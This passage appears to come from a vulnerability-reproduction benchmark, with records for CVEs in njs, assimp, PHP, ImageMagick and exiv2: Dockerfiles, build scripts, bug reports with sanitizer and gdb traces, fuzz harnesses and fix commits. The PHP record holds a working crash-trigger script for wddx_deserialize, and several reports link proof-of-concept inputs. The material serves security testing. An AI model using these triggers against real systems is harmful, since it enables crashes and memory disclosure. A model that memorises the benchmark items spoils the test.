{\n if (size == 0) return 0;\n\n char* input = malloc(size);\n memcpy(input, data, size);\n nxt_str_t line = {size, input};\n\n njs_vm_t *vm;\n nxt_int_t ret;\n njs_opts_t opts;\n nxt_str_t command;\n njs_vm_opt_t vm_options;\n\n nxt_memzero(&opts, sizeof(njs_opts_t));\n opts.interactive = 1;\n\n nxt_memzero(&vm_options, sizeof(njs_vm_opt_t));\n\n vm_options.init = !opts.interactive;\n vm_options.accumulative = opts.interactive;\n vm_options.backtrace = 1;\n vm_options.quiet = opts.quiet;\n vm_options.sandbox = opts.sandbox;\n vm_options.module = opts.module;\n\n vm_options.ops = &njs_console_ops;\n vm_options.external = &njs_console;\n\n ret = njs_interactive_shell(&opts, &vm_options, &line);\n free(input);\n\n if (ret != NXT_OK)\n return 0;\n\n return 0;\n}\n",
"filename": "njs_process_script_fuzzer.c"
}
] |
[
{
"sha": "0c9fced77823aa506239627a5473e8c4bb55ec96",
"url": "https://github.com/nginx/njs/commit/0c9fced77823aa506239627a5473e8c4bb55ec96"
},
{
"sha": "ee400ea880dc46bb02c4be2564b183c114d4cd42",
"url": "https://github.com/nginx/njs/commit/ee400ea880dc46bb02c4be2564b183c114d4cd42"
}
] |
assimp.cve-2022-38528
|
assimp/assimp
|
9519a62dd20799c5493c638d1ef5a6f484e5faf1
| 2022-09-08T13:13:43
|
assimp
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake ninja-build
RUN git clone https://github.com/assimp/assimp assimp
RUN git -C assimp checkout 9519a62dd20799c5493c638d1ef5a6f484e5faf1
WORKDIR $SRC/assimp
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cmake CMakeLists.txt -G "Ninja" -DBUILD_SHARED_LIBS=OFF -DASSIMP_BUILD_ZLIB=ON \
-DASSIMP_BUILD_TESTS=OFF -DASSIMP_BUILD_ASSIMP_TOOLS=OFF \
-DASSIMP_BUILD_SAMPLES=OFF
cmake --build .
|
/src/assimp
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/assimp/assimp/issues/4662
## Description:
Issue: assimp/assimp#4662
Title: Bug: SEGV on unknown address still exists in Assimp::XFileImporter::CreateMeshes
State: open
Created by: 0xdd96
Created at: 2022-07-26 13:16:46+00:00
Labels: Bug, Security Risk
Issue Body:
# Describe the bug
SEGV on unknown address still exists in Assimp::XFileImporter::CreateMeshes.
***This is similar to issue https://github.com/assimp/assimp/issues/1728. Note that #1728 reported wrong type of the vulnerability, as it is not a NULL pointer dereference. Patch https://github.com/assimp/assimp/commit/39ce3e1309b50681ea24b3109971582003fa83d5 was misguided by #1728, leaving this vulnerability unfixed.***
# To Reproduce
Steps to reproduce the behavior:
**version:** latest commit https://github.com/assimp/assimp/commit/3c253ca3e5be69dc0eb7e9120278cd0a74deb9ac
**poc:**[null_CreateMeshes.zip](https://github.com/assimp/assimp/files/9190065/null_CreateMeshes.zip)
```
git clone https://github.com/assimp/assimp.git
cd assimp
mkdir build
cd build
CFLAGS="-g -O0" CXXFLAGS="-g -O0" cmake -G "Unix Makefiles" -DBUILD_SHARED_LIBS=OFF -DASSIMP_BUILD_ASSIMP_TOOLS=ON ..
./assimp info $POC
```
# Expected behavior
```
user@c3ae4d510abb:$ ./bin/assimp info poc
Launching asset import ... OK
Validating postprocessing flags ... OK
0 %
Segmentation fault (core dumped)
```
```
user@c3ae4d510abb:$ ./bin/assimp info poc
Launching asset import ... OK
Validating postprocessing flags ... OK
0 %
AddressSanitizer:DEADLYSIGNAL
=================================================================
==20088==ERROR: AddressSanitizer: SEGV on unknown address 0x6120000301c0 (pc 0x555556872ed9 bp 0x7fffffffb4d0 sp 0x7fffffffb100 T0)
==20088==The signal is caused by a READ memory access.
#0 0x555556872ed8 (bin/assimp+0x131eed8)
#1 0x55555687151a (bin/assimp+0x131d51a)
#2 0x5555568716a0 (bin/assimp+0x131d6a0)
#3 0x555556870ba0 (bin/assimp+0x131cba0)
#4 0x555556870829 (bin/assimp+0x131c829)
#5 0x555555c56ab5 (bin/assimp+0x702ab5)
#6 0x55555580ecf2 (bin/assimp+0x2bacf2)
#7 0x5555557f89af (bin/assimp+0x2a49af)
#8 0x5555557f5f42 (bin/assimp+0x2a1f42)
#9 0x555555801399 (bin/assimp+0x2ad399)
#10 0x5555557f59c8 (bin/assimp+0x2a19c8)
#11 0x7ffff7070082 (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#12 0x5555557cda7d (bin/assimp+0x279a7d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (bin/assimp+0x131eed8)
==20088==ABORTING
Aborted
```
# Vulnerability analysis
Using gdb to trace this PoC, the vulnerability occurs in line 340 of XFileImporter.cpp, due to `idx=16256` is larger than the capacity of `sourceMesh->mNormals` (24).
https://github.com/assimp/assimp/blob/3c253ca3e5be69dc0eb7e9120278cd0a74deb9ac/code/AssetLib/X/XFileImporter.cpp#L337-L342
After tracing it, I found that `pMesh->mNormals` assigned `numNormals` elements in line 514-519 of `XFileParser.cpp`, then line 535-536 saved the result of `ReadInt` to `pMesh->mNormFaces[a].mIndices` without checking if it is in the correct boundary (`<numNormals`). This eventually leads to the bug above.
https://github.com/assimp/assimp/blob/3c253ca3e5be69dc0eb7e9120278cd0a74deb9ac/code/AssetLib/X/XFileParser.cpp#L513-L541
# Suggested fix
Add a boundary check after `ReadInt` following the convention in line 410 below. Line 410 ensures the number read by `ReadInt` does not exceed the size of the vector.
https://github.com/assimp/assimp/blob/3c253ca3e5be69dc0eb7e9120278cd0a74deb9ac/code/AssetLib/X/XFileParser.cpp#L394-L415
Comments:
Comment by krop on 2022-09-07 06:59:23+00:00:
[CVE-2022-38528](https://nvd.nist.gov/vuln/detail/CVE-2022-38528) was published yesterday and references this bug report.
Attachments:
https://github.com/assimp/assimp/files/9190065/null_CreateMeshes.zip
Commit References:
39ce3e1309b50681ea24b3109971582003fa83d5
3c253ca3e5be69dc0eb7e9120278cd0a74deb9ac
|
[] |
[
{
"sha": "39ce3e1309b50681ea24b3109971582003fa83d5",
"url": "https://github.com/assimp/assimp/commit/39ce3e1309b50681ea24b3109971582003fa83d5"
},
{
"sha": "3c253ca3e5be69dc0eb7e9120278cd0a74deb9ac",
"url": "https://github.com/assimp/assimp/commit/3c253ca3e5be69dc0eb7e9120278cd0a74deb9ac"
}
] |
php.cve-2016-7130
|
php/php-src
|
e018ff094f8505ea77f881ba11176e3ad0b4863e
| 2016-08-17T00:55:39
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout e018ff094f8505ea77f881ba11176e3ad0b4863e
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72750
## Description:
PHP Bug ID: 72750
Summary: wddx_deserialize null dereference
Status: Closed
PHP Version: 5.6.24
Assigned: stas (profile)
CVE-ID: 2016-7130
Description:
Description:
------------
When wddx deserialize tries to parse an invalid base64 binary value, php_base64_decode return NULL. The return value is not checked and used.
https://github.com/php/php-src/blob/master/ext/wddx/wddx.c#L896
if (!strcmp((char *)name, EL_BINARY)) {
zend_string *new_str = php_base64_decode(
(unsigned char *)Z_STRVAL(ent1->data), Z_STRLEN(ent1->data));
zval_ptr_dtor(&ent1->data);
ZVAL_STR(&ent1->data, new_str);
}
GDB output
----------
gdb -q --args /ramdisk/php-fuzz/phuzzer/php-70//sapi/cli/php -n wdx13.php
No symbol table is loaded. Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /ramdisk/php-fuzz/phuzzer/php-70//sapi/cli/php...done.
gdb-peda$ r
...
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x5
RBX: 0xffffffff3f0 --> 0x0
RCX: 0x3
RDX: 0x7fffef602dc0 --> 0x7fffef602d20 --> 0x7fffef602e60 --> 0x7fffef602eb0 --> 0x7fffef602f00 --> 0x7fffef602f50 (--> ...)
RSI: 0x0
RDI: 0x5
RBP: 0x7fffffffa090 --> 0x7fffffffa140 --> 0x1
RSP: 0x7fffffff9f50 --> 0x7fffffff9ff0 --> 0x454764685247b6ca
RIP: 0x15c44b0 (<php_wddx_pop_element+2720>: movzx edi,BYTE PTR [rsi+0x5])
R8 : 0x0
R9 : 0x0
R10: 0x7fffef601788 --> 0xbed02c8900001406
R11: 0x7fffffffa3b8 --> 0x7fffef66c0a0 --> 0x7fffef601800 --> 0x7fffef658420 --> 0x700000001 --> 0x0
R12: 0x7fffffff9f80 --> 0x41b58ab3
R13: 0x7fffffffa3a0 --> 0x1000000002 --> 0x0
R14: 0x7fffef601780 --> 0x0
R15: 0xffffdec02f0 --> 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x15c449f <php_wddx_pop_element+2703>: jg 0x15c4570 <php_wddx_pop_element+2912>
0x15c44a5 <php_wddx_pop_element+2709>: call 0x428e40 <__asan_report_store1@plt>
0x15c44aa <php_wddx_pop_element+2714>: nop WORD PTR [rax+rax*1+0x0]
=> 0x15c44b0 <php_wddx_pop_element+2720>: movzx edi,BYTE PTR [rsi+0x5]
0x15c44b4 <php_wddx_pop_element+2724>: mov rcx,r10
0x15c44b7 <php_wddx_pop_element+2727>: and edi,0x2
0x15c44ba <php_wddx_pop_element+2730>: cmp dil,0x1
0x15c44be <php_wddx_pop_element+2734>: sbb r15d,r15d
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff9f50 --> 0x7fffffff9ff0 --> 0x454764685247b6ca
0008| 0x7fffffff9f58 --> 0x7fffef601788 --> 0xbed02c8900001406
0016| 0x7fffffff9f60 --> 0x7fffef601788 --> 0xbed02c8900001406
0024| 0x7fffffff9f68 --> 0x7fffffffa3b8 --> 0x7fffef66c0a0 --> 0x7fffef601800 --> 0x7fffef658420 --> 0x700000001 (--> ...)
0032| 0x7fffffff9f70 --> 0x0
0040| 0x7fffffff9f78 --> 0x7fffffff9f80 --> 0x41b58ab3
0048| 0x7fffffff9f80 --> 0x41b58ab3
0056| 0x7fffffff9f88 --> 0x2468730 ("3 32 8 3 idx 96 16 5 fname 160 16 6 retval ")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
php_wddx_pop_element (user_data=0x7fffffffa3a0, name=<optimized out>) at /home/operac/php-70/ext/wddx/wddx.c:895
895 ZVAL_STR(&ent1->data, new_str);
gdb-peda$ bt
#0 php_wddx_pop_element (user_data=0x7fffffffa3a0, name=<optimized out>) at /home/operac/php-70/ext/wddx/wddx.c:895
#1 0x00000000015fe8e1 in _end_element_handler (user=0x7fffef66c140, name=<optimized out>) at /home/operac/php-70/ext/xml/compat.c:219
#2 0x00007ffff569913d in ?? () from /usr/lib/x86_64-linux-gnu/libxml2.so.2
#3 0x00007ffff56a53bd in ?? () from /usr/lib/x86_64-linux-gnu/libxml2.so.2
#4 0x00007ffff56a662b in xmlParseChunk () from /usr/lib/x86_64-linux-gnu/libxml2.so.2
#5 0x0000000001601b8b in php_XML_Parse (parser=parser@entry=0x7fffef66c140,
data=data@entry=0x7fffef67c018 "<?xml version='1.0'?>\n<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>\n<wddxPacket version='1.0'>\n<header/>\n\t<data>\n \t<struct>\n", ' ' <repeats 21 times>, "<var name='aBinary'>\n", ' ' <repeats 25 times>, "<bi"..., data_len=data_len@entry=0x141, is_final=is_final@entry=0x1) at /home/operac/php-70/ext/xml/compat.c:596
#6 0x00000000015dda3b in php_wddx_deserialize_ex (value=<optimized out>, vallen=<optimized out>, return_value=return_value@entry=0x7fffef6140d0) at /home/operac/php-70/ext/wddx/wddx.c:1069
#7 0x00000000015deba0 in zif_wddx_deserialize (execute_data=<optimized out>, return_value=0x7fffef6140d0) at /home/operac/php-70/ext/wddx/wddx.c:1283
#8 0x0000000001da38db in ZEND_DO_ICALL_SPEC_HANDLER () at /home/operac/php-70/Zend/zend_vm_execute.h:586
#9 0x0000000001b4c336 in execute_ex (ex=<optimized out>) at /home/operac/php-70/Zend/zend_vm_execute.h:414
#10 0x0000000001df9dc9 in zend_execute (op_array=<optimized out>, return_value=<optimized out>) at /home/operac/php-70/Zend/zend_vm_execute.h:458
#11 0x000000000194764b in zend_execute_scripts (type=type@entry=0x8, retval=retval@entry=0x0, file_count=file_count@entry=0x3) at /home/operac/php-70/Zend/zend.c:1427
#12 0x00000000016b8348 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd030) at /home/operac/php-70/main/main.c:2494
#13 0x0000000001e02127 in do_cli (argc=<optimized out>, argv=<optimized out>) at /home/operac/php-70/sapi/cli/php_cli.c:974
#14 0x0000000000467379 in main (argc=argc@entry=0x3, argv=argv@entry=0x7fffffffe598) at /home/operac/php-70/sapi/cli/php_cli.c:1344
#15 0x00007ffff4ffc830 in __libc_start_main (main=0x466580 <main>, argc=0x3, argv=0x7fffffffe598, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe588) at ../csu/libc-start.c:291
#16 0x0000000000467a49 in _start ()
gdb-peda$ p new_str
$1 = (zend_string *) 0x0
gdb-peda$ p ent1
$2 = (st_entry *) 0x7fffef601780
Test script:
---------------
<?php
$xml = <<< XML
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<header/>
<data>
<struct>
<var name='aBinary'>
<binary length='11'>\\tYmluYXJRhdGE=</binary>
</var>
</struct>
</data>
</wddxPacket>
XML;
$array = wddx_deserialize($xml);
Expected result:
----------------
No crash
Actual result:
--------------
ASAN:SIGSEGV
=================================================================
==29281==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000005 (pc 0x0000015c44b0 bp 0x7ffff23104b0 sp 0x7ffff2310370 T0)
#0 0x15c44af in php_wddx_pop_element /home/operac/php-70/ext/wddx/wddx.c:885
#1 0x15fe8e0 in _end_element_handler /home/operac/php-70/ext/xml/compat.c:219
#2 0x7fe7cd1f613c (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x4a13c)
#3 0x7fe7cd2023bc (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x563bc)
#4 0x7fe7cd20362a in xmlParseChunk (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x5762a)
#5 0x1601b8a in php_XML_Parse /home/operac/php-70/ext/xml/compat.c:596
#6 0x15dda3a in php_wddx_deserialize_ex /home/operac/php-70/ext/wddx/wddx.c:1069
#7 0x15deb9f in zif_wddx_deserialize /home/operac/php-70/ext/wddx/wddx.c:1283
#8 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586
#9 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414
#10 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458
#11 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427
#12 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494
#13 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974
#14 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344
#15 0x7fe7ccb5982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#16 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/php-70/ext/wddx/wddx.c:885 php_wddx_pop_element
==29281==ABORTING
Comments:
[Comment 1] [2016-08-07 23:27 UTC] [email protected]
Fix in https://gist.github.com/f149d1a8226fb48d6a59911d7f08f617 and in security repo as 6930a1d12c47aa1d2675837852910d177b0ceb11. Please verify.
Links: https://gist.github.com/f149d1a8226fb48d6a59911d7f08f617
[Comment 2] [2016-08-09 22:47 UTC] fernando at null-life dot com
Works OK. Thanks.
$ /home/operac/build2/bin/php -n 72750.php
array(1) {
["aBinary"]=>
string(0) ""
}
[Comment 3] [2016-08-11 06:11 UTC] fernando at null-life dot com
Related To: Bug #72790
Links: https://bugs.php.net/bug.php?id=72790
[Comment 13] [2017-08-13 19:31 UTC] [email protected]
Related To: Bug #68811
Links: https://bugs.php.net/bug.php?id=68811
Commit References:
6930a1d12c47aa1d2675837852910d177b0ceb11
|
[] |
[
{
"sha": "698a691724c0a949295991e5df091ce16f899e02",
"url": "https://github.com/php/php-src/commit/698a691724c0a949295991e5df091ce16f899e02"
},
{
"sha": "6930a1d12c47aa1d2675837852910d177b0ceb11",
"url": "https://github.com/php/php-src/commit/6930a1d12c47aa1d2675837852910d177b0ceb11"
}
] |
imagemagick.cve-2017-10995
|
imagemagick/imagemagick
|
9caa8b0c4269163def2ce0fa6ff1754ec0c234d2
| 2017-06-11T06:37:15
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 9caa8b0c4269163def2ce0fa6ff1754ec0c234d2
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --prefix="$WORK" --disable-shared --disable-docs
make "-j$(nproc)"
make install -j$(nproc)
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/538
## Description:
Issue: ImageMagick/ImageMagick#538
Title: imagemagick identify&convert heap-buffer-overflow
State: closed
Created by: zyy89
Created at: 2017-07-04 16:32:12+00:00
Labels: bug
Issue Body:
ImageMagick-7.0.6-0
```
~$identify $FILE or convert $FILE
```
build instructions:
```
~$ sudo apt-get install imagemagick libmagick++-dev
~$ CC="gcc" CFLAGS="-fsanitize=address" ./configure
~$ make
~$ make install
```
when identify or convert MNG file, imagemagick will cause a heap buffer overflow
> =================================================================
==6483==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000008c5a at pc 0x7fee316dfb7d bp 0x7ffeba5682b0 sp 0x7ffeba5682a0
READ of size 1 at 0x602000008c5a thread T0
#0 0x7fee316dfb7c in mng_get_long coders/png.c:1636
#1 0x7fee316f08ad in ReadOneMNGImage coders/png.c:5741
#2 0x7fee316fae29 in ReadMNGImage coders/png.c:7497
#3 0x7fee31272c4f in ReadImage MagickCore/constitute.c:497
#4 0x7fee314bee06 in ReadStream MagickCore/stream.c:1045
#5 0x7fee3127217c in PingImage MagickCore/constitute.c:226
#6 0x7fee312725a9 in PingImages MagickCore/constitute.c:327
#7 0x7fee30c32a2a in IdentifyImageCommand MagickWand/identify.c:319
#8 0x7fee30c89c7a in MagickCommandGenesis MagickWand/mogrify.c:183
#9 0x40169a in MagickMain utilities/magick.c:149
#10 0x4017be in main utilities/magick.c:180
#11 0x7fee3050282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#12 0x4012c8 in _start (/home/sf/ImageMagick-7.0.6-0/build-gcc/bin/magick+0x4012c8)
The vulnerability is caused when identify MNG image, which happens in function mng_get_long (coders/png.c:1636) which is called by line 5741 at coders/png.c.
Here is the critical code of mng_get_long and its call code:
```
static long mng_get_long(unsigned char *p)
{
return((long) ((p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3]));
}
```
```
5728 if (change_delay == 2)
5729 default_frame_delay=frame_delay;
5730
5731 p+=4;
5732
5733 if (logging != MagickFalse)
5734 (void) LogMagickEvent(CoderEvent,GetMagickModule(),
(gdb)
5735 " Framing_delay=%.20g",(double) frame_delay);
5736 }
5737
5738 if (change_timeout)
5739 {
5740 frame_timeout=1UL*image->ticks_per_second*
5741 mng_get_long(p);
5742
5743 if (mng_info->ticks_per_second != 0)
```
It is caused by heap buffer overflow, which is caused by a read operation without overflow check.
The p buffer is pointer to chunk, its buffer data and length are read from input file,
```
p=NULL;
chunk=(unsigned char *) NULL;
if (length != 0)
{
chunk=(unsigned char *) AcquireQuantumMemory(length,
sizeof(*chunk));
if (chunk == (unsigned char *) NULL)
ThrowReaderException(ResourceLimitError,
"MemoryAllocationFailed");
for (i=0; i < (ssize_t) length; i++)
chunk[i]=(unsigned char) ReadBlobByte(image);
p=chunk;
}
```
When setting proper length and repeat value, it is possible to disclosing some critical data, such as heap chunk data and even other applications’ private data.
Testcase: https://github.com/zyy89/pocs/blob/master/imagemagick-heap-buffer-overflow-1
Comments:
Comment by mikayla-grace on 2017-07-06 16:20:33+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by bastien-roucaries on 2017-07-08 21:56:33+00:00:
Does it affect v6 ?
---
Comment by mikayla-grace on 2017-07-08 22:19:53+00:00:
Yes.
---
Comment by bastien-roucaries on 2017-07-09 14:06:23+00:00:
Did you jhave a commit for v6 ?
---
Comment by bastien-roucaries on 2017-07-15 09:43:34+00:00:
Ping ?
---
Comment by dlemstra on 2017-07-15 10:06:06+00:00:
280e592 is 7 and 7a9a910 is 6.
---
Comment by bastien-roucaries on 2017-07-15 10:08:07+00:00:
Will want to be ping for correct fix (glenn one). Thank you nevertheless
---
Comment by glennrp on 2017-07-15 14:34:49+00:00:
Final fix for IM7 is commit 6a4f9c1feb7153807f22435ac6853956a1648707
---
Comment by bastien-roucaries on 2017-07-19 22:36:03+00:00:
And for v6 ? Does we need to apply previous commit ?
---
Comment by glennrp on 2017-07-19 22:47:50+00:00:
I believe v6 was not vulnerable to this particular problem. It was fixed in V6 around version 6.9.5-3.
---
Comment by bastien-roucaries on 2017-07-21 15:09:18+00:00:
glenn instead of if (change_clipping && ((p-chunk) < (ssize_t) (length-16))) v6 has if (change_clipping && ((p-chunk) < (ssize_t) (length-17)))
is it normal ?
---
Comment by glennrp on 2017-07-21 16:06:32+00:00:
It should be 16.
---
Comment by glennrp on 2017-07-21 16:31:04+00:00:
I fixed the 17 -> 16 thing. It wasn't a security problem but could have caused certain FRAM chunks to be rejected incorrectly. See commit 1fdc09d
---
Comment by carnil on 2017-07-29 03:14:06+00:00:
@glennrp: could you help identify the commit in v6, around 6.9.5-3 which fixes this issue?
---
Comment by glennrp on 2017-07-29 06:43:45+00:00:
IM6 commits 24430226caf7eb468b4180f2883b2563e8cc1b23 and 1fdc09dc8f9522f07f5f501fe8453765ad82556c
---
Comment by carnil on 2017-07-29 16:22:48+00:00:
@glennrp: thank you!
Commit References:
6a4f9c1feb7153807f22435ac6853956a1648707
1fdc09dc8f9522f07f5f501fe8453765ad82556c
24430226caf7eb468b4180f2883b2563e8cc1b23
|
[
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n",
"filename": "crop_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n",
"filename": "encoder_fuzzer.cc"
},
{
"content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n",
"filename": "encoder_list.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n",
"filename": "enhance_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n",
"filename": "huffman_decode_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n",
"filename": "rotate_fuzzer.cc"
}
] |
[
{
"sha": "6a4f9c1feb7153807f22435ac6853956a1648707",
"url": "https://github.com/imagemagick/imagemagick/commit/6a4f9c1feb7153807f22435ac6853956a1648707"
},
{
"sha": "24430226caf7eb468b4180f2883b2563e8cc1b23",
"url": "https://github.com/imagemagick/imagemagick/commit/24430226caf7eb468b4180f2883b2563e8cc1b23"
},
{
"sha": "1fdc09dc8f9522f07f5f501fe8453765ad82556c",
"url": "https://github.com/imagemagick/imagemagick/commit/1fdc09dc8f9522f07f5f501fe8453765ad82556c"
},
{
"sha": "280e5924d3c97c916819fbfb4f7c5027dcbc20f8",
"url": "https://github.com/ImageMagick/ImageMagick/commit/280e5924d3c97c916819fbfb4f7c5027dcbc20f8"
},
{
"sha": "7a9a910c34d1da41883719613b8f1b6cacb8277d",
"url": "https://github.com/ImageMagick/ImageMagick/commit/7a9a910c34d1da41883719613b8f1b6cacb8277d"
}
] |
exiv2.cve-2019-17402
|
exiv2/exiv2
|
70f9405fafbe19c7bab94b36a1267c4332dc8a8a
| 2019-07-29T00:09:35
|
exiv2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils
RUN git clone https://github.com/exiv2/exiv2 exiv2
RUN git -C exiv2 checkout 70f9405fafbe19c7bab94b36a1267c4332dc8a8a
WORKDIR $SRC/exiv2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" ..
make -j $(nproc)
|
/src/exiv2
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/Exiv2/exiv2/issues/1019
## Description:
Issue: Exiv2/exiv2#1019
Title: Overflow in exiv2
State: closed
Created by: c0d3xpl0it
Created at: 2019-10-06 09:21:25+00:00
Labels: bug
Issue Body:
We found vulnerability in exiv2 binary and exiv2 is complied with clang enabling ASAN.
**Machine Setup**
```
Machine : Ubuntu 16.04.3 LTS
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)
Commit : 401e658
exiv2 : 0.27.99.0
Command : exiv2 -pv $POC
```
**ASAN Output**
```
fuzzer@fuzzer:~/victim/exiv2/build/bin$ ./exiv2 -pv POC
=================================================================
